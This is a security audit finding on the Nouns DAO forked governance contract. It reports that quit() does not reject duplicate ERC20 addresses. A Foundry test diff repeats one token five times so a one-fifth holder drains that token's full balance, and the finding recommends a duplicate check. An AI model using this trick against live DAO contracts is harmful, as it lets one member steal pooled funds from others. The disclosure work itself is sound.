Nouns DAO - 0xA5DF's results

Lines of code

https://github.com/nounsDAO/nouns-monorepo/blob/718211e063d511eeda1084710f6a682955e80dcb/packages/nouns-contracts/contracts/governance/fork/newdao/governance/NounsDAOLogicV1Fork.sol#L202-L204

Vulnerability details

The quit() function is used to allow members of the forked DAO to ragequit the dao and receive a pro-rata share of the ERC20 tokens that the DAO holds. One version of this functions allows the user to supply their own list of ERC20 tokens for the function to iterate over. The issue is that the function doesn't check for duplicates, meaning that if a user supplies a list with the same token repeated 10 times - they'd get a x10 of their pro rata share.

Impact

Forked DAO tokens can be drained by a single member.

Proof of Concept

The following PoC demonstrates the issue - the user has only 1/5 share in the DAO but is able to drain the full balance of token2.

diff --git a/packages/nouns-contracts/test/foundry/governance/fork/NounsDAOLogicV1Fork.t.sol b/packages/nouns-contracts/test/foundry/governance/fork/NounsDAOLogicV1Fork.t.sol
index e7e03767..17179177 100644
--- a/packages/nouns-contracts/test/foundry/governance/fork/NounsDAOLogicV1Fork.t.sol
+++ b/packages/nouns-contracts/test/foundry/governance/fork/NounsDAOLogicV1Fork.t.sol
@@ -469,8 +469,11 @@ contract NounsDAOLogicV1Fork_Quit_Test is NounsDAOLogicV1ForkBase {
 
     function test_quit_allowsChoosingErc20TokensToInclude() public {
         vm.prank(quitter);
-        address[] memory tokensToInclude = new address[](1);
-        tokensToInclude[0] = address(token2);
+        address[] memory tokensToInclude = new address[](5);
+        for(uint i =0; i < 5; i++){
+            tokensToInclude[i] = address(token2);
+        }
+
         dao.quit(quitterTokens, tokensToInclude);
 
         assertEq(quitter.balance, 24 ether);

Output:

Running 1 test for test/foundry/governance/fork/NounsDAOLogicV1Fork.t.sol:NounsDAOLogicV1Fork_Quit_Test
[FAIL. Reason: Assertion failed.] test_quit_allowsChoosingErc20TokensToInclude() (gas: 435452)
Logs:
  Error: a == b not satisfied [uint]
    Expected: 1753
      Actual: 8765

Recommended Mitigation Steps

Check the list for duplicates

Assessed type

Invalid Validation